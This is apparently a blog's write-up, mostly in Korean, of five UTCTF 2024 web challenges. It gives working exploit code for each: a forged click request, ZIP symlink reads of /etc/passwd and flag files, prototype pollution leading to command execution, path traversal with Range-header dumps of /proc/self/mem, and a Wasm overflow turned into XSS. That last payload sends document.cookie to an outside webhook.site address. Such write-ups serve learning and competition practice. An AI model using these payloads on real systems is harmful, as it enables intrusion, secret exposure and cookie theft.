Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

UTCTF 2024

CTFtime: https://ctftime.org/event/2302

Official URL: https://utctf.live/

Team Score

대회 당시 웹 문제는 총 3문제를 풀었고, 나머지 웹 문제들은 대회 이후 다시 풀어보고 Writeup을 작성했다.

Writeup

Off-Brand Cookie Clicker

474 solved / 100 pts

I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?

By Khael (@malfuncti0nal on discord)

http://betta.utctf.live:8138

쿠키를 클릭하면, 클릭 횟수가 1씩 증가한다. 클릭 횟수를 10,000,000 값으로 만들어야한다.

<script>
    document.addEventListener('DOMContentLoaded', function() {
        var count = parseInt(localStorage.getItem('count')) || 0;
        var cookieImage = document.getElementById('cookieImage');
        var display = document.getElementById('clickCount');

        display.textContent = count;

        cookieImage.addEventListener('click', function() {
            count++;
            display.textContent = count;
            localStorage.setItem('count', count);

            if (count >= 10000000) {
                fetch('/click', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded'
                    },
                    body: 'count=' + count
                })
                .then(response => response.json())
                .then(data => {
                    alert(data.flag);
                });
                }
          });
    });
    </script>

Request Body에 count= 값을 10,000,000으로 설정하여 요청을 보내면 플래그를 획득할 수 있다.

Exploit Code

fetch('/click', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'count=10000000'
}).then(response => response.json())
  .then(data => {
    alert(data.flag);
  });

Flag

utflag{y0u_cl1ck_pr3tty_f4st}

Schrödinger

250 solved / 271 pts

Hey, my digital cat managed to get into my server and I can’t get him out. The only thing running on the server is a website a colleague of mine made. Can you find a way to use the website to check if my cat’s okay? He’ll likely be in the user’s home directory. You’ll know he’s fine if you find a “flag.txt” file. By helix (@helix_shift on discord)

http://betta.utctf.live:5422

주어지는 소스코드는 없고, ZIP 파일을 업로드하면 ZIP 파일 내부에 존재하는 파일을 읽어 내용을 보여준다.
임의의 파일을 생성해 심볼릭 링크를 걸고 ZIP으로 압축해주면, 압축 해제 후 파일을 읽을 때 심볼릭 링크 경로의 파일 내용을 읽어오게 된다.

문제 설명에도 나와있듯이 홈 디렉터리flag.txt 파일이 존재한다고 하여 유저 이름을 먼저 알아내야한다.

ln -s /etc/passwd f
zip --symlinks etcpasswd.zip f      

심볼릭 링크를 걸어 ZIP 파일을 생성하고, 파일을 업로드하면 /etc/passwd 파일 내용을 볼 수 있다.
일반 유저는 UID, GID 값이 1000에서 시작하기에 copenhagen 유저의 홈 디렉터리 안에 flag.txt가 있음을 유추할 수 있다.

ln -s /home/copenhagen/flag.txt flag
zip --symlinks flag.zip flag

심볼링 링크 경로를 /home/copenhagen/flag.txt로 변경한 후, 이전과 동일하게 ZIP 파일을 업로드 하면 FLAG를 획득할 수 있다.

Exploit Code

ln -s /etc/passwd f
zip --symlinks etcpasswd.zip f

ln -s /home/copenhagen/flag.txt flag
zip --symlinks flag.zip flag

Flag

utflag{No_Observable_Cats_Were_Harmed}

merger

143 solved / 778 pts

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

By Samintell (@samintell on discord)

http://guppy.utctf.live:8725

function isObject(obj) {
    return typeof obj === 'function' || typeof obj === 'object';
}

var secret = {}

const { exec } = require('child_process');

process.on('message', function (m) {
    let data = m.data;
    let orig = m.orig;
    for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
        if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
            for (const key in data.values[k]) {
                orig[data.attributes[k]][key] = data.values[k][key];
            }
        } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
            orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
        } else {
            orig[data.attributes[k]] = data.values[k];
        }
    }
    cmd = "./merger.sh";

    if (secret.cmd != null) {
        cmd = secret.cmd;
    }

    var test = exec(cmd, (err, stdout, stderr) => {
        retObj = {};
        retObj['merged'] = orig;
        retObj['err'] = err;
        retObj['stdout'] = stdout;
        retObj['stderr'] = stderr;
        process.send(retObj);
    });
    console.log(test);
});

병합 과정에서 Prototype Pollution 취약점이 발생하여 secret.cmd 값을 변조하면 원하는 명령을 실행시킬 수 있다.

if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
    for (const key in data.values[k]) {
        orig[data.attributes[k]][key] = data.values[k][key];
    }
} 

위 코드에서 data.attributes[k] 값을 __proto__로 설정하고, data.values[k][key] 값을 {"cmd": "/bin/cat flag.txt"}로 전달해준다. 그럼, orig[__proto__].cmd = "/bin/cat flag.txt" 형태로 값이 들어가게 되어 Prototype Pollution 취약점이 발생하며 secret.cmd 값이 "/bin/cat flag.txt"으로 변조된다.

Exploit Code

import requests 

# url = "http://localhost:8725"
url = "http://guppy.utctf.live:8725"
s = requests.session() 

r = s.get(url) 
cookies = r.cookies.get_dict() 

r = s.post(
        f"{url}/api/makeCompany",
        json={
            "attributes": ["cmd"],
            "values": ["cmd"]
        }
)

r = s.post(     
        f"{url}/api/absorbCompany/0",
        json={
            "attributes": ["__proto__"],
            "values": [{"cmd": "/bin/cat flag.txt" }]
        }
)
print(r.text)

Flag

utflag{p0lluted_b4ckdoorz_and_m0r3}

Home on the Range

71 solved / 933 pts

I wrote a custom HTTP server to play with obscure HTTP headers.

By Jonathan (@JBYoshi on discord)

http://guppy.utctf.live:7884

홈페이지를 보면 Directory Listing 취약점이 발생한다는 것을 알 수 있다.

<!DOCTYPE html>
<html>
  <head>
    <title>Directory listing of /</title>
  <body>
    <h1>Directory listing of /</h1>
    <ul>
      <li>
        <a href="media">media</a>
      </li>
      <li>
        <a href="mnt">mnt</a>
      </li>
      <li>
        <a href="usr">usr</a>
      </li>
      <li>
        <a href="opt">opt</a>
      </li>
      <li>
        <a href="tmp">tmp</a>
      </li>
      <li>
        <a href="bin">bin</a>
      </li>
      <li>
        <a href="sbin">sbin</a>
      </li>
      <li>
        <a href="root">root</a>
      </li>
      <li>
        <a href="sys">sys</a>
      </li>
      <li>
        <a href="proc">proc</a>
      </li>
      <li>
        <a href="home">home</a>
      </li>
      <li>
        <a href="dev">dev</a>
      </li>
      <li>
        <a href="srv">srv</a>
      </li>
      <li>
        <a href="run">run</a>
      </li>
      <li>
        <a href="etc">etc</a>
      </li>
      <li>
        <a href="var">var</a>
      </li>
      <li>
        <a href="lib">lib</a>
      </li>
      <li>
        <a href="setup">setup</a>
      </li>
      <li>
        <a href=".dockerenv">.dockerenv</a>
      </li>
      <li>
        <a href="server.py">server.py</a>
      </li>
    </ul>
  </body>
</html>

http://guppy.utctf.live:7884/../../../ 경로에 접근해보면, server.py 코드를 확인할 수 있다.

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading

with open("/setup/flag.txt") as f:
    the_flag = f.read()
os.remove("/setup/flag.txt")

def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
    boundary = randbytes(64).hex()
    for [first, last] in (ranges if ranges != [] else [[None, None]]):
        count = None
        if first is None:
            if last is None:
                first = 0
            else:
                first = file_len - last
                count = last
        elif last is not None:
            count = last - first + 1

        if (count is not None and count < 0) or first < 0:
            return False

        content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
        if len(ranges) > 1:
            write_bytes(b"\r\n--" + boundary.encode())
            if content_type:
                write_bytes(b"\r\nContent-Type: " + content_type.encode())
            write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
            write_bytes(b"\r\n\r\n")
        else:
            if content_type:
                write_header("Content-Type", content_type)
            if len(ranges) > 0:
                write_header("Content-Range", content_range_header)
        if not write_file_range(first, count):
            return False
    if len(ranges) > 1:
        write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
        write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
    elif len(ranges) == 0:
        write_header("Accept-Ranges", "bytes")
    return True


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        return self.try_serve_file(self.path[1:])

    def try_serve_file(self, f):
        if f == "":
            f = "."
        try:
            status_code = 200
            range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
            ranges = []
            if range_match:
                status_code = 206
                ranges = []
                for range in self.headers.get("range").split("=")[1].split(", "):
                    left, right = range.split("-")
                    new_range = [None, None]
                    if left:
                        new_range[0] = int(left)
                    if right:
                        new_range[1] = int(right)
                    if not left and not right:
                        # invalid
                        ranges = [[None, None]]
                        break
                    ranges.append(new_range)

            self.log_message("Serving %s ranges %s", f, repr(ranges))

            (content_type, _) = guess_type(f)

            with open(f, "rb") as io:
                file_length = os.stat(f).st_size

                headers = []
                chunks = []

                def check_file_chunk(first, count):
                    if count is None:
                        if first < 0:
                            return False
                        io.seek(first)
                        if io.read(1) == b"":
                            return False
                    else:
                        if count <= 0 or first < 0:
                            return False
                        io.seek(first + count - 1)
                        if io.read(1) == b"":
                            return False
                    chunks.append({"type": "file", "first": first, "count": count})
                    return True


                ok = process_range_request(ranges, content_type, file_length,
                                           lambda k, v: headers.append((k, v)),
                                           lambda b: chunks.append({"type": "bytes", "bytes": b}),
                                           check_file_chunk)
                if not ok:
                    self.send_response(416)
                    self.send_header("Content-Range", "bytes */" + str(file_length))
                    self.end_headers()
                    return

                content_length = 0
                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        content_length += len(chunk["bytes"])
                    elif chunk["type"] == "file":
                        content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]

                self.send_response(status_code)
                for (k, v) in headers:
                    self.send_header(k, v)
                self.send_header("Content-Length", str(content_length))
                self.end_headers()

                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        self.wfile.write(chunk["bytes"])
                    elif chunk["type"] == "file":
                        io.seek(chunk["first"])
                        count = chunk["count"]
                        buf_size = 1024 * 1024
                        while count is None or count > 0:
                            chunk = io.read(min(count if count is not None else buf_size, buf_size))
                            self.wfile.write(chunk)
                            if count is not None:
                                count -= len(chunk)
                            if len(chunk) == 0:
                                break
        except FileNotFoundError:
            print(f)
            self.send_error(404)
        except IsADirectoryError:
            if not f.endswith("/") and f != ".":
                self.send_response(303)
                self.send_header("Location", "/" + f + "/")
                self.end_headers()
            elif os.path.isfile(f + "/index.html"):
                return self.try_serve_file(f + "/index.html")
            else:
                dir_name = os.path.basename(os.path.abspath(f))
                if dir_name == "":
                    dir_name = "/"
                body = (
                    "<!DOCTYPE html><html><head><title>Directory listing of "
                        + escape(dir_name)
                        + "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
                        + "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
                        + "</ul></body></html>"
                    ).encode("utf-8")
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.end_headers()
                self.wfile.write(body)
                pass
        except OSError as e:
            self.send_error(500, None, e.strerror)

server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)

def exit_handler(signum, frame):
    sys.stderr.write("Received SIGTERM\n")

    # Needs to run in another thread to avoid blocking the main thread
    def shutdown_server():
        server.shutdown()
    shutdown_thread = threading.Thread(target=shutdown_server)
    shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)

sys.stderr.write("Server ready\n")
server.serve_forever()

with open("/setup/flag.txt", "w") as f:
    f.write(the_flag)

/setup/flag.txt 파일을 읽어 the_flag 변수에 플래그를 저장한다. 하지만, 해당 파일은 os.remove() 함수에 의해 삭제되어 볼 수 없다.

range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))

Handler 클래스의 try_serve_file() 메서드를 보면, HTTP Header에 Range: 헤더를 읽어와 bytes=\\d*-\\d* 정규 표현식과 일치하는지 확인하고 파일의 내용을 읽어온다.

/proc/self/maps를 읽어 server.py 바이너리가 어느 주소에 있는지 확인하고, /proc/self/mem에서 해당 주소의 바이너리를 읽어오면 the_flag 변수에 저장된 플래그 값을 읽을 수 있다.

Exploit Code

import re
import os
memory = "http://guppy.utctf.live:7884/../../../proc/self/mem"

os.system("curl --path-as-is -H 'Range: bytes=0-494' http://guppy.utctf.live:7884/../../../proc/self/maps > maps.txt")

with open("maps.txt") as f:
    maps_contents = f.readlines()

for line in maps_contents: 
    r = re.compile(r"([0-9a-f]+)-([0-9a-f]+)")
    match = r.match(line)
    if match:
        start_addr, end_addr = match.groups()

        start_addr = int(start_addr, 16)
        end_addr = int(end_addr, 16) - 1

        output_file = f"memory_{start_addr}_{end_addr}.bin"

        range_header = f"bytes={start_addr}-{end_addr}"
        os.system(f"curl --path-as-is -H 'Range: {range_header}' -s {memory} -o {output_file}")
        print(f"Download memory_{start_addr}_{end_addr}.bin")

Flag

utflag{do_u_want_a_piece_of_me}

Unsound

13 solved / 999 pts

I decided to roll my own super secure crypto. It’s also written in Rust with no unsafe code. If you get past all of that, you have to break through the Wasm sandbox. Good luck…you’ll need it.

All web requests replayed on an internal headless browser, which contains the flag. This is necessary since any keys stored in Javascript / Wasm could easily be read by the attacker. Take this into account when attacking this box.

By Aadhithya (@aadhi0319 on discord)

http://guppy.utctf.live:8374

#[wasm_bindgen]
#[inline(never)]
pub fn decrypt(input_ref: &str) -> String {
    #[repr(C)]
    
    // structure declaration 
    struct ProgramState {
        last_decryption: [u8; 300],
        success_msg: [u8; 300],
        failure_msg: [u8; 300],
    }

    // create structure variable
    let mut state: ProgramState = std::hint::black_box(ProgramState {
        last_decryption: [0u8; 300],
        success_msg: [0u8; 300],
        failure_msg: [0u8; 300],
    });
    let success = [b's', b'u', b'c', b'c', b'e', b's', b's'];
    let failure = [b'f', b'a', b'i', b'l', b'u', b'r', b'e'];
    state.success_msg[..7].copy_from_slice(&success);
    state.failure_msg[..7].copy_from_slice(&failure);

    let input_vector = general_purpose::STANDARD.decode(input_ref.as_bytes()).unwrap();
    let input = String::from_utf8_lossy(&input_vector);
    let seed: [u8; 32] = [0xde, 0xed, 0xbe, 0xef, 0xfe, 0xed, 0xba, 0x0c, 0xca, 0xb0, 0xb0, 0xb5, 0xde, 0xfa, 0xce, 0x0d, 0xca, 0xfe, 0xb0, 0xba, 0xde, 0xad, 0xc0, 0xde, 0xfe, 0xe1, 0xde, 0xad, 0xde, 0xad, 0x10, 0xcc];
    let mut rng: StdRng = SeedableRng::from_seed(seed);

    // base64 decode 
    let decrypted_string: String = input
        .chars()
        .map(|c| (c as u8) ^ (rng.gen::<u8>()))
        .map(|c| c as char)
        .collect();

    // extends the size of buffer
	let mut last_decryption = make_string(state.last_decryption.as_mut_ptr(), 600usize, 0usize);
    last_decryption.push_str(&decrypted_string);
    mem::forget(last_decryption);

    let decryption_msg: String;
    if decrypted_string.len() > 0 {
        decryption_msg = String::from_utf8_lossy(&state.success_msg).to_string();
    } else {
        decryption_msg = String::from_utf8_lossy(&state.failure_msg).to_string();
    }
    return decryption_msg;
}

ProgramState 구조체 선언 시, last_decryption, success_msg, failure_msg 각 배열 크기가 300으로 지정되어있다.

이후, success_msg, failure_msg 배열에 “success”, “failure” 문자열을 넣고, 입력된 암호화된 문자열을 복호화하고 성공 여부를 메세지로 반환한다.

하지만, make_string(state.last_decryption.as_mut_ptr(), 600usize, 0usize); 해당 코드에서 취약점이 발생한다.

pub const STATIC_UNIT: &&() = &&();

#[inline(never)]
pub fn translate<'a, 'b, T>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
	val_b
}

pub fn expand_mut<'a, 'b, T>(x: &'a mut T) -> &'b mut T {
	let f: fn(_, &'a mut T) -> &'b mut T = translate;
	f(STATIC_UNIT, x)
}

pub fn transmute<A, B>(obj: A) -> B {
	use std::hint::black_box;

	enum TransmuteEnum<A, B> {
		A(Option<Box<A>>),
		B(Option<Box<B>>),
	}

	#[inline(never)]
	fn transmute_inner<A, B>(trans: &mut TransmuteEnum<A, B>, obj: A) -> B {
		let TransmuteEnum::B(ref_to_b) = trans else {
			unreachable!()
		};
		let ref_to_b = expand_mut(ref_to_b);
		*trans = TransmuteEnum::A(Some(Box::new(obj)));
		black_box(trans);

		*ref_to_b.take().unwrap()
	}

	transmute_inner(black_box(&mut TransmuteEnum::B(None)), obj)
}

#[inline(always)]
pub fn make_string(ptr: *mut u8, cap: usize, len: usize) -> String {
	let sentinel_string = crate::transmute::<_, String>([0usize, 1usize, 2usize]);

	let mut actual_buf = [0usize; 3];
	actual_buf[sentinel_string.as_ptr() as usize] = ptr as usize;
	actual_buf[sentinel_string.capacity()] = cap;
	actual_buf[sentinel_string.len()] = len;

	std::mem::forget(sentinel_string);

	crate::transmute::<_, String>(actual_buf)
}

last_decryption 배열은 크키가 300으로 지정되어있었지만, make_string() 함수에서 capacity 값을 600으로 설정하면서 문제가 발생하게 된다. 다시 말해, 복호화된 문자열의 길이가 300 ~ 600 일 경우, success_msg에 문자열이 덮어씌워져 원하는 문자열을 쓸 수 있게 된다.

즉, 위와 같이 "A" * 308 문자열을 암호화하고 복호화해주면 SUCCESS 문자열이 나오지 않고 "A" 문자열이 출력되는 것을 볼 수 있다.

이로 인해, <img> 태그를 활용하면 XSS 취약점으로 이어져 쿠키 탈취가 가능해진다.

Exploit Code

dummy = "A" * 300
xss_payload = '''<img src=x onerror="fetch('https://webhook.site/4f858ea1-7b1d-4e60-be16-5394a6aa673a/?c='+document.cookie,{method:'GET'})">'''
print(dummy + xss_payload)

# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<img src=x onerror="fetch('https://webhook.site/4f858ea1-7b1d-4e60-be16-5394a6aa673a/?c='+document.cookie,{method:'GET'})">

Flag

utflag{4ma11y_v3rif!ed_t0_b3_m3m0rY_s4fe_L0l}